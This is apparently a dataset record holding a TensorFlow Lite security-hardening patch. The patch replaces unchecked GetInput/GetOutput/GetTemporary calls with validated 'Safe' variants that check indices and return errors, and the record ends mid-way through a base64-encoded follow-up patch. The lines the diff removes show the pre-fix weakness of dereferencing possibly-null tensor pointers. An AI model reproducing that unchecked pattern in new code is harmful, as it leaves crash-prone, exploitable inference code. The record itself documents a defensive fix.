-  const TfLiteTensor* value_tensor = GetInput(context, node, kValueTensor);
+  const TfLiteTensor* key_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kKeyTensor, &key_tensor));
+  const TfLiteTensor* value_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kValueTensor, &value_tensor));
 
   Subgraph* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
   auto& resources = subgraph->resources();
diff --git a/tensorflow/lite/kernels/hashtable/hashtable_size.cc b/tensorflow/lite/kernels/hashtable/hashtable_size.cc
index 48029795ae0564..34a8031a3c07a2 100644
--- a/tensorflow/lite/kernels/hashtable/hashtable_size.cc
+++ b/tensorflow/lite/kernels/hashtable/hashtable_size.cc
@@ -32,14 +32,16 @@ TfLiteStatus PrepareHashtableSize(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_resource_id_tensor), 1);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_resource_id_tensor, 0), 1);
 
-  TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
-  TF_LITE_ENSURE(context, output_tensor != nullptr);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputTensor, &output_tensor));
   TF_LITE_ENSURE_EQ(context, output_tensor->type, kTfLiteInt64);
   TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);
   outputSize->data[0] = 1;
@@ -47,11 +49,14 @@ TfLiteStatus PrepareHashtableSize(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus EvalHashtableSize(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   int resource_id = input_resource_id_tensor->data.i32[0];
 
-  TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputTensor, &output_tensor));
   auto* output_data = GetTensorData<std::int64_t>(output_tensor);
 
   Subgraph* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
diff --git a/tensorflow/lite/kernels/kernel_util.cc b/tensorflow/lite/kernels/kernel_util.cc
index cd243335c9ca15..a834d8ab9132de 100644
--- a/tensorflow/lite/kernels/kernel_util.cc
+++ b/tensorflow/lite/kernels/kernel_util.cc
@@ -30,19 +30,70 @@ namespace tflite {
 
 namespace {
 
-inline TfLiteTensor* GetMutableInput(const TfLiteContext* context,
-                                     const TfLiteNode* node, int index) {
-  if (index >= 0 && index < node->inputs->size) {
-    const int tensor_index = node->inputs->data[index];
+// Assumes tensor_index is a valid index (in bounds)
+inline TfLiteTensor* GetTensorAtIndex(const TfLiteContext* context,
+                                      int tensor_index) {
+  if (context->tensors != nullptr) {
+    return &context->tensors[tensor_index];
+  } else {
+    return context->GetTensor(context, tensor_index);
+  }
+}
+
+// Validate in a single place to reduce binary size
+inline TfLiteStatus ValidateTensorIndexingSafe(const TfLiteContext* context,
+                                               int index, int max_size,
+                                               const int* tensor_indices,
+                                               int* tensor_index) {
+  if (index < 0 || index >= max_size) {
+    TF_LITE_KERNEL_LOG(const_cast<TfLiteContext*>(context),
+                       "Invalid tensor index %d (not in [0, %d))\n", index,
+                       max_size);
+    return kTfLiteError;
+  }
+  if (tensor_indices[index] == kTfLiteOptionalTensor) {
+    TF_LITE_KERNEL_LOG(const_cast<TfLiteContext*>(context),
+                       "Tensor at index %d was optional but was expected\n",
+                       index);
+    return kTfLiteError;
+  }
+
+  *tensor_index = tensor_indices[index];
+  return kTfLiteOk;
+}
+
+// Same as above but returns -1 for invalid inputs instead of status + logging
+// error.
+inline int ValidateTensorIndexing(const TfLiteContext* context, int index,
+                                  int max_size, const int* tensor_indices) {
+  if (index >= 0 && index < max_size) {
+    const int tensor_index = tensor_indices[index];
     if (tensor_index != kTfLiteOptionalTensor) {
-      if (context->tensors != nullptr) {
-        return &context->tensors[tensor_index];
-      } else {
-        return context->GetTensor(context, tensor_index);
-      }
+      return tensor_index;
     }
   }
-  return nullptr;
+  return -1;
+}
+
+inline TfLiteTensor* GetMutableInput(const TfLiteContext* context,
+                                     const TfLiteNode* node, int index) {
+  const int tensor_index = ValidateTensorIndexing(
+      context, index, node->inputs->size, node->inputs->data);
+  if (tensor_index < 0) {
+    return nullptr;
+  }
+  return GetTensorAtIndex(context, tensor_index);
+}
+
+inline TfLiteStatus GetMutableInputSafe(const TfLiteContext* context,
+                                        const TfLiteNode* node, int index,
+                                        const TfLiteTensor** tensor) {
+  int tensor_index;
+  TF_LITE_ENSURE_OK(
+      context, ValidateTensorIndexingSafe(context, index, node->inputs->size,
+                                          node->inputs->data, &tensor_index));
+  *tensor = GetTensorAtIndex(context, tensor_index);
+  return kTfLiteOk;
 }
 
 }  // anonymous namespace.
@@ -52,6 +103,11 @@ const TfLiteTensor* GetInput(const TfLiteContext* context,
   return GetMutableInput(context, node, index);
 }
 
+TfLiteStatus GetInputSafe(const TfLiteContext* context, const TfLiteNode* node,
+                          int index, const TfLiteTensor** tensor) {
+  return GetMutableInputSafe(context, node, index, tensor);
+}
+
 TfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,
                                int index) {
   TfLiteTensor* tensor = GetMutableInput(context, node, index);
@@ -60,17 +116,22 @@ TfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,
 
 TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,
                         int index) {
-  if (index >= 0 && index < node->outputs->size) {
-    const int tensor_index = node->outputs->data[index];
-    if (tensor_index != kTfLiteOptionalTensor) {
-      if (context->tensors != nullptr) {
-        return &context->tensors[tensor_index];
-      } else {
-        return context->GetTensor(context, tensor_index);
-      }
-    }
+  const int tensor_index = ValidateTensorIndexing(
+      context, index, node->outputs->size, node->outputs->data);
+  if (tensor_index < 0) {
+    return nullptr;
   }
-  return nullptr;
+  return GetTensorAtIndex(context, tensor_index);
+}
+
+TfLiteStatus GetOutputSafe(const TfLiteContext* context, const TfLiteNode* node,
+                           int index, TfLiteTensor** tensor) {
+  int tensor_index;
+  TF_LITE_ENSURE_OK(
+      context, ValidateTensorIndexingSafe(context, index, node->outputs->size,
+                                          node->outputs->data, &tensor_index));
+  *tensor = GetTensorAtIndex(context, tensor_index);
+  return kTfLiteOk;
 }
 
 const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,
@@ -78,6 +139,50 @@ const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,
   return GetInput(context, node, index);
 }
 
+#ifndef TF_LITE_STATIC_MEMORY
+TfLiteTensor* GetTemporary(TfLiteContext* context, const TfLiteNode* node,
+                           int index) {
+  const int tensor_index = ValidateTensorIndexing(
+      context, index, node->temporaries->size, node->temporaries->data);
+  if (tensor_index < 0) {
+    return nullptr;
+  }
+  return GetTensorAtIndex(context, tensor_index);
+}
+
+TfLiteStatus GetTemporarySafe(const TfLiteContext* context,
+                              const TfLiteNode* node, int index,
+                              TfLiteTensor** tensor) {
+  int tensor_index;
+  TF_LITE_ENSURE_OK(context, ValidateTensorIndexingSafe(
+                                 context, index, node->temporaries->size,
+                                 node->temporaries->data, &tensor_index));
+  *tensor = GetTensorAtIndex(context, tensor_index);
+  return kTfLiteOk;
+}
+
+const TfLiteTensor* GetIntermediates(TfLiteContext* context,
+                                     const TfLiteNode* node, int index) {
+  const int tensor_index = ValidateTensorIndexing(
+      context, index, node->intermediates->size, node->intermediates->data);
+  if (tensor_index < 0) {
+    return nullptr;
+  }
+  return GetTensorAtIndex(context, tensor_index);
+}
+
+TfLiteStatus GetIntermediatesSafe(const TfLiteContext* context,
+                                  const TfLiteNode* node, int index,
+                                  TfLiteTensor** tensor) {
+  int tensor_index;
+  TF_LITE_ENSURE_OK(context, ValidateTensorIndexingSafe(
+                                 context, index, node->intermediates->size,
+                                 node->intermediates->data, &tensor_index));
+  *tensor = GetTensorAtIndex(context, tensor_index);
+  return kTfLiteOk;
+}
+#endif  // TF_LITE_STATIC_MEMORY
+
 // Per-axis
 TfLiteStatus PopulateConvolutionQuantizationParams(
     TfLiteContext* context, const TfLiteTensor* input,
diff --git a/tensorflow/lite/kernels/kernel_util.h b/tensorflow/lite/kernels/kernel_util.h
index 5950effca0e60f..06f24b8e7d1cf7 100644
--- a/tensorflow/lite/kernels/kernel_util.h
+++ b/tensorflow/lite/kernels/kernel_util.h
@@ -40,6 +40,17 @@ namespace tflite {
 const TfLiteTensor* GetInput(const TfLiteContext* context,
                              const TfLiteNode* node, int index);
 
+// Same as `GetInput` but returns boolean and uses output argument for tensor.
+//
+//   TfLiteTensor* my_tensor;
+//   TF_LITE_ENSURE_OK(context,
+//                     GetInputSafe(context, node, kMyTensorIdx, &my_tensor));
+//   // can use my_tensor directly from here onwards, it is not nullptr
+//
+// Should be used in cases where the binary size is too large.
+TfLiteStatus GetInputSafe(const TfLiteContext* context, const TfLiteNode* node,
+                          int index, const TfLiteTensor** tensor);
+
 // Note: You must check if result is not null:
 //
 //   TfLiteTensor* my_tensor = GetVariableInput(context, node, kMyTensorIdx);
@@ -60,6 +71,17 @@ TfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,
 TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,
                         int index);
 
+// Same as `GetOutput` but returns boolean and uses output argument for tensor.
+//
+//   TfLiteTensor* my_tensor;
+//   TF_LITE_ENSURE_OK(context,
+//                     GetOutputSafe(context, node, kMyTensorIdx, &my_tensor));
+//   // can use my_tensor directly from here onwards, it is not nullptr
+//
+// Should be used in cases where the binary size is too large.
+TfLiteStatus GetOutputSafe(const TfLiteContext* context, const TfLiteNode* node,
+                           int index, TfLiteTensor** tensor);
+
 // Note: You must check if result is not null:
 //
 //   TfLiteTensor* my_tensor = GetOptionalInputTensor(context, node, kIdx);
@@ -72,11 +94,6 @@ TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,
 const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,
                                            const TfLiteNode* node, int index);
 
-inline int NumDimensions(const TfLiteTensor* t) { return t->dims->size; }
-inline int SizeOfDimension(const TfLiteTensor* t, int dim) {
-  return t->dims->data[dim];
-}
-
 #ifndef TF_LITE_STATIC_MEMORY
 // Note: You must check if result is not null:
 //
@@ -85,18 +102,22 @@ inline int SizeOfDimension(const TfLiteTensor* t, int dim) {
 //
 // This is because the index might point to the optional tensor constant
 // (kTfLiteOptionalTensor) in which case there is no tensor to return.
-inline TfLiteTensor* GetTemporary(TfLiteContext* context,
-                                  const TfLiteNode* node, int index) {
-  if (index >= 0 && index < node->temporaries->size) {
-    const int tensor_index = node->temporaries->data[index];
-    if (tensor_index != kTfLiteOptionalTensor) {
-      if (context->tensors != nullptr) {
-        return &context->tensors[tensor_index];
-      }
-    }
-  }
-  return nullptr;
-}
+TfLiteTensor* GetTemporary(TfLiteContext* context, const TfLiteNode* node,
+                           int index);
+
+// Same as `GetTemporary` but returns boolean and uses output argument for
+// tensor.
+//
+//   TfLiteTensor* my_tensor;
+//   TF_LITE_ENSURE_OK(context,
+//                     GetTemporarySafe(context, node, kMyTensorIdx,
+//                     &my_tensor));
+//   // can use my_tensor directly from here onwards, it is not nullptr
+//
+// Should be used in cases where the binary size is too large.
+TfLiteStatus GetTemporarySafe(const TfLiteContext* context,
+                              const TfLiteNode* node, int index,
+                              TfLiteTensor** tensor);
 
 // Note: You must check if result is not null:
 //
@@ -105,25 +126,37 @@ inline TfLiteTensor* GetTemporary(TfLiteContext* context,
 //
 // This is because the index might point to the optional tensor constant
 // (kTfLiteOptionalTensor) in which case there is no tensor to return.
-inline const TfLiteTensor* GetIntermediates(TfLiteContext* context,
-                                            const TfLiteNode* node, int index) {
-  if (index >= 0 && index < node->intermediates->size) {
-    const int tensor_index = node->intermediates->data[index];
-    if (tensor_index != kTfLiteOptionalTensor) {
-      if (context->tensors != nullptr) {
-        return &context->tensors[tensor_index];
-      }
-    }
-  }
-  return nullptr;
+const TfLiteTensor* GetIntermediates(TfLiteContext* context,
+                                     const TfLiteNode* node, int index);
+
+// Same as `GetIntermediates` but returns boolean and uses output argument for
+// tensor.
+//
+//   TfLiteTensor* my_tensor;
+//   TF_LITE_ENSURE_OK(context,
+//                     GetIntermediatesSafe(context, node, kMyTensorIdx,
+//                     &my_tensor));
+//   // can use my_tensor directly from here onwards, it is not nullptr
+//
+// Should be used in cases where the binary size is too large.
+TfLiteStatus GetIntermediatesSafe(const TfLiteContext* context,
+                                  const TfLiteNode* node, int index,
+                                  TfLiteTensor** tensor);
+#endif  // TF_LITE_STATIC_MEMORY
+
+inline int NumDimensions(const TfLiteTensor* t) { return t->dims->size; }
+inline int SizeOfDimension(const TfLiteTensor* t, int dim) {
+  return t->dims->data[dim];
 }
 
+inline int NumInputs(const TfLiteNode* node) { return node->inputs->size; }
+inline int NumOutputs(const TfLiteNode* node) { return node->outputs->size; }
+
+#ifndef TF_LITE_STATIC_MEMORY
 inline int NumIntermediates(const TfLiteNode* node) {
   return node->intermediates->size;
 }
 #endif  // TF_LITE_STATIC_MEMORY
-inline int NumInputs(const TfLiteNode* node) { return node->inputs->size; }
-inline int NumOutputs(const TfLiteNode* node) { return node->outputs->size; }
 
 inline int64_t NumElements(const TfLiteIntArray* dims) {
   int64_t count = 1;
diff --git a/tensorflow/lite/profiling/profile_summarizer_test.cc b/tensorflow/lite/profiling/profile_summarizer_test.cc
index fd81c00e60314f..7eccc2d38430d2 100644
--- a/tensorflow/lite/profiling/profile_summarizer_test.cc
+++ b/tensorflow/lite/profiling/profile_summarizer_test.cc
@@ -36,10 +36,14 @@ namespace {
 const char* kOpName = "SimpleOpEval";
 
 TfLiteStatus SimpleOpEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = tflite::GetInput(context, node, /*index=*/0);
-  const TfLiteTensor* input2 = tflite::GetInput(context, node, /*index=*/1);
-
-  TfLiteTensor* output = GetOutput(context, node, /*index=*/0);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, /*index=*/0, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, /*index=*/1, &input2));
+
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, /*index=*/0, &output));
 
   int32_t* output_data = output->data.i32;
   *output_data = *(input1->data.i32) + *(input2->data.i32);
diff --git a/tensorflow/lite/tools/optimize/calibration/builtin_logging_ops/lstm.cc b/tensorflow/lite/tools/optimize/calibration/builtin_logging_ops/lstm.cc
index 1ac996abe875ce..6249649f4b7d04 100644
--- a/tensorflow/lite/tools/optimize/calibration/builtin_logging_ops/lstm.cc
+++ b/tensorflow/lite/tools/optimize/calibration/builtin_logging_ops/lstm.cc
@@ -466,26 +466,51 @@ TfLiteStatus lstm_eval(TfLiteContext* context, TfLiteNode* node, Logger* logger,
                        ErrorReporter* error_reporter) {
   const auto* params = static_cast<TfLiteLSTMParams*>(node->builtin_data);
 
-  const TfLiteTensor* input =
-      GetInput(context, node, ops::builtin::lstm::full::kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node,
+                            ops::builtin::lstm::full::kInputTensor, &input));
 
   const TfLiteTensor* input_to_input_weights = GetOptionalInputTensor(
       context, node, ops::builtin::lstm::full::kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node,
+                   ops::builtin::lstm::full::kInputToForgetWeightsTensor,
+                   &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node,
+                            ops::builtin::lstm::full::kInputToCellWeightsTensor,
+                            &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node,
+                   ops::builtin::lstm::full::kInputToOutputWeightsTensor,
+                   &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights = GetOptionalInputTensor(
       context, node, ops::builtin::lstm::full::kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights = GetInput(
-      context, node, ops::builtin::lstm::full::kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node,
+                   ops::builtin::lstm::full::kRecurrentToForgetWeightsTensor,
+                   &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node,
+                   ops::builtin::lstm::full::kRecurrentToCellWeightsTensor,
+                   &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node,
+                   ops::builtin::lstm::full::kRecurrentToOutputWeightsTensor,
+                   &recurrent_to_output_weights));
 
   const TfLiteTensor* cell_to_input_weights = GetOptionalInputTensor(
       context, node, ops::builtin::lstm::full::kCellToInputWeightsTensor);
@@ -509,12 +534,21 @@ TfLiteStatus lstm_eval(TfLiteContext* context, TfLiteNode* node, Logger* logger,
 
   const TfLiteTensor* input_gate_bias = GetOptionalInputTensor(
       context, node, ops::builtin::lstm::full::kInputGateBiasTensor);
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, ops::builtin::lstm::full::kForgetGateBiasTensor);
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, ops::builtin::lstm::full::kCellGateBiasTensor);
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, ops::builtin::lstm::full::kOutputGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node,
+                            ops::builtin::lstm::full::kForgetGateBiasTensor,
+                            &forget_gate_bias));
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, ops::builtin::lstm::full::kCellGateBiasTensor,
+                   &cell_gate_bias));
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node,
+                            ops::builtin::lstm::full::kOutputGateBiasTensor,
+                            &output_gate_bias));
 
   const TfLiteTensor* projection_weights = GetOptionalInputTensor(
       context, node, ops::builtin::lstm::full::kProjectionWeightsTensor);
@@ -522,7 +556,9 @@ TfLiteStatus lstm_eval(TfLiteContext* context, TfLiteNode* node, Logger* logger,
       context, node, ops::builtin::lstm::full::kProjectionBiasTensor);
 
   // Index the scratch buffers pointers to the global scratch buffer.
-  TfLiteTensor* scratch_buffer = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* scratch_buffer;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/0, &scratch_buffer));
 
   TfLiteTensor* output_state = GetVariableInput(
       context, node, ops::builtin::lstm::full::kOutputStateTensor);
@@ -531,8 +567,10 @@ TfLiteStatus lstm_eval(TfLiteContext* context, TfLiteNode* node, Logger* logger,
       context, node, ops::builtin::lstm::full::kCellStateTensor);
   TF_LITE_ENSURE(context, cell_state != nullptr);
 
-  TfLiteTensor* output =
-      GetOutput(context, node, ops::builtin::lstm::full::kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node,
+                             ops::builtin::lstm::full::kOutputTensor, &output));
 
   std::vector<int> intermediate_tensor_indexes(node->intermediates->size);
   for (int i = 0; i < node->intermediates->size; ++i) {", "url": "https://github.com/tensorflow/tensorflow/commit/e11f55585f614645b360563072ffeb5c3eeff162.patch" }, { "commit_message": "[PATCH] [tflite]: Insert `nullptr` checks when obtaining tensors. As part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages. We also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`). PiperOrigin-RevId: 332518902 Change-Id: I92eb164a6101ac3cca66090061a9b56a97288236 tensorflow/lite/micro/test_helpers.cc | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-)", "patch_text_b64": "RnJvbSBjZDMxZmQwY2UwNDQ5YTllMGY4M2RjYWQwOGQ2ZWQ3ZjFkNmJlZjNmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBNaWhhaSBNYXJ1c2VhYyA8bWloYWltYXJ1c2VhY0Bnb29nbGUuY29tPgpEYXRlOiBGcmksIDE4IFNlcCAyMDIwIDEzOjQ0OjMyIC0wNzAwClN1YmplY3Q6IFtQQVRDSF0gW3RmbGl0ZV06IEluc2VydCBgbnVsbHB0cmAgY2hlY2tzIHdoZW4gb2J0YWluaW5nIHRlbnNvcnMuCgpBcyBwYXJ0IG9mIG9uZ29pbmcgcmVmYWN0b3JpbmcsIGB0ZmxpdGU6OkdldElucHV0YCwgYHRmbGl0ZTo6R2V0T3V0cHV0YCwgYHRmbGl0ZTo6R2V0VGVtcG9yYXJ5YCBhbmQgYHRmbGl0ZTo6R2V0SW50ZXJtZWRpYXRlc2Agd2lsbCByZXR1cm4gYG51bGxwdHJgIGluIHNvbWUgY2FzZXMuIEhlbmNlLCB3ZSBpbnNlcnQgdGhlIGBudWxscHRyYCBjaGVja3Mgb24gYWxsIHVzYWdlcy4KCldlIGFsc28gaW5zZXJ0IGBudWxscHRyYCBjaGVja3Mgb24gdXNhZ2VzIG9mIGB0ZmxpdGU6OkdldFZhcmlhYmxlSW5wdXRgIGFuZCBgdGZsaXRlOjpHZXRPcHRpb25hbElucHV0VGVuc29yYCBidXQgb25seSBpbiB0aGUgY2FzZXMgd2hlcmUgdGhlcmUgaXMgbm8gb2J2aW91cyBjaGVjayB0aGF0IGBudWxscHRyYCBpcyBhY2NlcHRhYmxlICh0aGF0IGlzLCB3ZSBvbmx5IGluc2VydCB0aGUgY2hlY2sgZm9yIHRoZSBvdXRwdXQgb2YgdGhlc2UgdHdvIGZ1bmN0aW9ucyBpZiB0aGUgdGVuc29yIGlzIGFjY2Vzc2VkIGFzIGlmIGl0IGlzIGFsd2F5cyBub3QgYG51bGxwdHJgKS4KClBpcGVyT3JpZ2luLVJldklkOiAzMzI1MTg5MDIKQ2hhbmdlLUlkOiBJOTJlYjE2NGE2MTAxYWMzY2NhNjYwOTAwNjFhOWI1NmE5NzI4ODIzNgotLS0KIHRlbnNvcmZsb3cvbGl0ZS9taWNyby90ZXN0X2hlbHBlcnMuY2MgfCAyMyArKysrKysrKysrKysrKysrLS0tLS0tLQogMSBmaWxlIGNoYW5nZWQsIDE2IGluc2VydGlvbnMoKyksIDcgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvdGVuc29yZmxvdy9saXRlL21pY3JvL3Rlc3RfaGVscGVycy5jYyBiL3RlbnNvcmZsb3cvbGl0ZS9taWNyby90ZXN0X2hlbHBlcnMuY2MKaW5kZXggZGQ1ZTk5NmFjMjZhYTYuLjI2NTc1YTRkOThkYTlmIDEwMDY0NAotLS0gYS90ZW5zb3JmbG93L2xpdGUvbWljcm8vdGVzdF9oZWxwZXJzLmNjCisrKyBiL3RlbnNvcmZsb3cvbGl0ZS9taWNyby90ZXN0X2hlbHBlcnMuY2MKQEAgLTYwMSw3ICs2MDEsOCBAQCBUZkxpdGVTdGF0dXMgU2ltcGxlU3RhdGVmdWxPcDo6UHJlcGFyZShUZkxpdGVDb250ZXh0KiBjb250ZXh0LAogICBPcERhdGEqIGRhdGEgPSByZWludGVycHJldF9jYXN0PE9wRGF0YSo+KG5vZGUtPnVzZXJfZGF0YSk7CiAKICAgLy8gTWFrZSBzdXJlIHRoYXQgdGhlIGlucHV0IGlzIGluIHVpbnQ4X3Qgd2l0aCBhdCBsZWFzdCAxIGRhdGEgZW50cnkuCi0gIGNvbnN0IFRmTGl0ZVRlbnNvciogaW5wdXQgPSB0ZmxpdGU6OkdldElucHV0KGNvbnRleHQsIG5vZGUsIGtJbnB1dFRlbnNvcik7CisgIGNvbnN0IFRmTGl0ZVRlbnNvciogaW5wdXQ7CisgIFRGX0xJVEVfRU5TVVJFX09LKGNvbnRleHQsIEdldElucHV0U2FmZShjb250ZXh0LCBub2RlLCBrSW5wdXRUZW5zb3IsICZpbnB1dCkpOwogICBpZiAoaW5wdXQtPnR5cGUgIT0ga1RmTGl0ZVVJbnQ4KSByZXR1cm4ga1RmTGl0ZUVycm9yOwogICBpZiAoTnVtRWxlbWVudHMoaW5wdXQtPmRpbXMpID09IDApIHJldHVybiBrVGZMaXRlRXJyb3I7CiAKQEAgLTYyMiw3ICs2MjMsOCBAQCBUZkxpdGVTdGF0dXMgU2ltcGxlU3RhdGVmdWxPcDo6SW52b2tlKFRmTGl0ZUNvbnRleHQqIGNvbnRleHQsCiAgIE9wRGF0YSogZGF0YSA9IHJlaW50ZXJwcmV0X2Nhc3Q8T3BEYXRhKj4obm9kZS0+dXNlcl9kYXRhKTsKICAgKmRhdGEtPmludm9rZV9jb3VudCArPSAxOwogCi0gIGNvbnN0IFRmTGl0ZVRlbnNvciogaW5wdXQgPSBHZXRJbnB1dChjb250ZXh0LCBub2RlLCBrSW5wdXRUZW5zb3IpOworICBjb25zdCBUZkxpdGVUZW5zb3IqIGlucHV0OworICBURl9MSVRFX0VOU1VSRV9PSyhjb250ZXh0LCBHZXRJbnB1dFNhZmUoY29udGV4dCwgbm9kZSwga0lucHV0VGVuc29yLCAmaW5wdXQpKTsKICAgY29uc3QgdWludDhfdCogaW5wdXRfZGF0YSA9IEdldFRlbnNvckRhdGE8dWludDhfdD4oaW5wdXQpOwogICBpbnQgc2l6ZSA9IE51bUVsZW1lbnRzKGlucHV0LT5kaW1zKTsKIApAQCAtNjQxLDkgKzY0MywxMyBAQCBUZkxpdGVTdGF0dXMgU2ltcGxlU3RhdGVmdWxPcDo6SW52b2tlKFRmTGl0ZUNvbnRleHQqIGNvbnRleHQsCiAgICAgfQogICB9CiAKLSAgVGZMaXRlVGVuc29yKiBtZWRpYW4gPSBHZXRPdXRwdXQoY29udGV4dCwgbm9kZSwga01lZGlhblRlbnNvcik7CisgIFRmTGl0ZVRlbnNvciogbWVkaWFuOworICBURl9MSVRFX0VOU1VSRV9PSyhjb250ZXh0LAorICAgICAgICAgICAgICAgICAgICBHZXRPdXRwdXRTYWZlKGNvbnRleHQsIG5vZGUsIGtNZWRpYW5UZW5zb3IsICZtZWRpYW4pKTsKICAgdWludDhfdCogbWVkaWFuX2RhdGEgPSBHZXRUZW5zb3JEYXRhPHVpbnQ4X3Q+KG1lZGlhbik7Ci0gIFRmTGl0ZVRlbnNvciogaW52b2tlX2NvdW50ID0gR2V0T3V0cHV0KGNvbnRleHQsIG5vZGUsIGtJbnZva2VDb3VudCk7CisgIFRmTGl0ZVRlbnNvciogaW52b2tlX2NvdW50OworICBURl9MSVRFX0VOU1VSRV9PSyhjb250ZXh0LAorICAgICAgICAgICAgICAgICAgICBHZXRPdXRwdXRTYWZlKGNvbnRleHQsIG5vZGUsIGtJbnZva2VDb3VudCwgJmludm9rZV9jb3VudCkpOwogICBpbnQzMl90KiBpbnZva2VfY291bnRfZGF0YSA9IEdldFRlbnNvckRhdGE8aW50MzJfdD4oaW52b2tlX2NvdW50KTsKIAogICBtZWRpYW5fZGF0YVswXSA9IHNvcnRpbmdfYnVmZmVyW3NpemUgLyAyXTsKQEAgLTY4MSwxMSArNjg3LDE0IEBAIFRmTGl0ZVN0YXR1cyBNb2NrQ3VzdG9tOjpQcmVwYXJlKFRmTGl0ZUNvbnRleHQqIGNvbnRleHQsIFRmTGl0ZU5vZGUqIG5vZGUpIHsKIH0KIAogVGZMaXRlU3RhdHVzIE1vY2tDdXN0b206Okludm9rZShUZkxpdGVDb250ZXh0KiBjb250ZXh0LCBUZkxpdGVOb2RlKiBub2RlKSB7Ci0gIGNvbnN0IFRmTGl0ZVRlbnNvciogaW5wdXQgPSB0ZmxpdGU6OkdldElucHV0KGNvbnRl